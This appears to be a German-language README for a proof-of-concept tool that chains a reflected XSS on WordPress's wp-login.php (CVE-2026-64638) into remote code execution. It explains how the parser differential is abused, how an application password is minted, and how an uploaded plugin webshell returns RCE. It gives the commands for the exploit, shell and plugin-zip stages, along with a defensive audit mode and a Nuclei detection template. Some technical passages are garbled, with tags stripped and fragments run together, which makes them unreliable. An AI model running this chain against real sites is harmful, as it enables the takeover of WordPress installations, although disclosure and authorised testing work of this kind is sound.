
XSS2Shell (CVE-2026-64638) WordPress-Pre-Auth-XSS-zu-RCE-Kette — PoC-Exploit + defensives Audit-Tool + Nuclei-Template
CVE-2026-64638 · Reflektiertes XSS auf wp-login.php · CVSS 8.9 (v4.0) · Behoben in WordPress 7.0.3
⚠️ NUR AUTORISIERTE TESTS. Dieses Tool dient der Sicherheitsforschung und autorisierten Penetrationstests gegen Systeme, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Unbefugte Nutzung ist in den meisten Rechtsordnungen illegal. Der Forscher (PWN.AI) veröffentlichte dies am 7. August 2026; WordPress lieferte den Fix am selben Tag in 7.0.3 aus.
XSS2Shell ist eine Pre-Auth-XSS-zu-Codeausführungs-Kette, die den WordPress-Core betrifft (alle Versionen zurück bis 4.7, ~500 Mio.+ Websites). Ein einzelner gezielt präparierter fehlgeschlagener Login-Versuch führt Angreifer-JavaScript im WordPress-Origin aus; bei einem angemeldeten Administrator eskaliert er zu vollständiger RCE.
Öffentliche Offenlegung: https://pwn.ai/blog/xss2shell
wp-login.php reflektiert den übermittelten Benutzernamen
über sprintf('<strong>Error:</strong> The username <strong>%s</strong> ...').
(Leerzeichen zwischen und Tag-Name) übersteht PHP
; danach parst der KSES-Sanitizer von WordPress es erneut zu einem
.< area id=test><strip_tags()< area id=ajaxurl href=...>, < div id=color-picker class=reset-pass-submit>,
< button class="wp-generate-pw color-option">X.wp-pass.php wird über
den injizierten Button ausgelöst. Die Absicherung user_id === new_user_id wird
umgangen (undefined === undefined — beide Eingaben fehlen auf der Login-Seite).
Der Bezeichner ajaxurl wird über den HTML-Named-Property-Zugriff auf das
Window-Objekt zum injizierten <area> aufgelöst.href
(/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1 — JSONP-Envelope).wp-content/plugins/<slug>/ ist ohne
Aktivierung über das Web erreichbar).# 1. Non-destructive check — does the target reflect the payload?
python3 xss2shell.py check https://example.com
# 2. 🛡️ DEFENSIVE AUDIT — WordPress hardening report (A-F score)
python3 xss2shell.py audit https://example.com
# Checks: core version vs XSS2Shell/wp2shell, XSS reflection,
# sensitive file exposure (wp-config.bak, .git, debug.log, xmlrpc),
# security headers (CSP/HSTS/XFO), REST user enumeration.
# 3. Generate the trigger HTML form (XSS stage)
python3 xss2shell.py exploit --target example.com > trigger.html
# 4. RCE stage (lab only — needs admin application password)
python3 xss2shell.py shell https://example.com --app-password "XXXX XXXX XXXX XXXX XXXX XXXX"
# 5. Emit the plugin zip without uploading
python3 xss2shell.py zip --out xss2shell-plugin.zip
Erfordert: nur Python-3.8+-Standardbibliothek — keine Drittanbieter-Abhängigkeiten.
$ python3 xss2shell.py audit https://target.example
🛡️ WORDPRESS GÜVENLİK DENETİMİ (savunma modu)
🔴 [CRITICAL] WordPress 6.9.4 — CVE-2026-64638 (XSS2Shell) SAVUNMASIZ, 7.0.3+ gerekli
🔴 [CRITICAL] wp-login.php XSS yansıması VAR — CVE-2026-64638 aktif, acil güncelle!
🟠 [HIGH] Sızıntı: /xmlrpc.php HTTP 405
🟡 [WARN] Header X-Frame-Options eksik — clickjacking koruması önerilir
...
📊 GÜVENLİK SKORU: F (91 puan risk) — Ciddi risk — hemen önlem al!
trigger.html bereitstellen und es gegen die Ziel-Login-Seite absenden
(oder per JS automatisch absenden) → XSS feuert im Browser des Opfers.authorize-application.php wird missbraucht, um ein
Anwendungspasswort zu erzeugen.shell verwenden, um das Plugin-Zip hochzuladen./wp-content/plugins/xss2shell/xss2shell.php — {"rce":true,...}.Eine einsatzbereite Nuclei-Vorlage ist enthalten: nuclei-CVE-2026-64638.yaml
# Scan a single target
nuclei -t nuclei-CVE-2026-64638.yaml -u https://example.com
# Scan a list of targets
nuclei -t nuclei-CVE-2026-64638.yaml -l targets.txt
Die Vorlage erkennt das Parser-Differenzial (reflektiertes < area-Element auf
wp-login.php) mit zwei Payload-Varianten und ist sowohl gegen angreifbare
(6.9.4) als auch gegen gepatchte (7.0.3+) Installationen verifiziert.
Hinweis: Eine funktional identische Vorlage wurde über PR #16785 upstream in nuclei-templates integriert — diese Kopie wird hier für die eigenständige Verwendung gepflegt.
MIT-Lizenz — siehe LICENSE.
Hinweis: Dieser PoC wird zu defensiven Forschungs- und Bildungszwecken veröffentlicht. Verwende ihn nur gegen Systeme, die dir gehören oder für die du zum Testen berechtigt bist.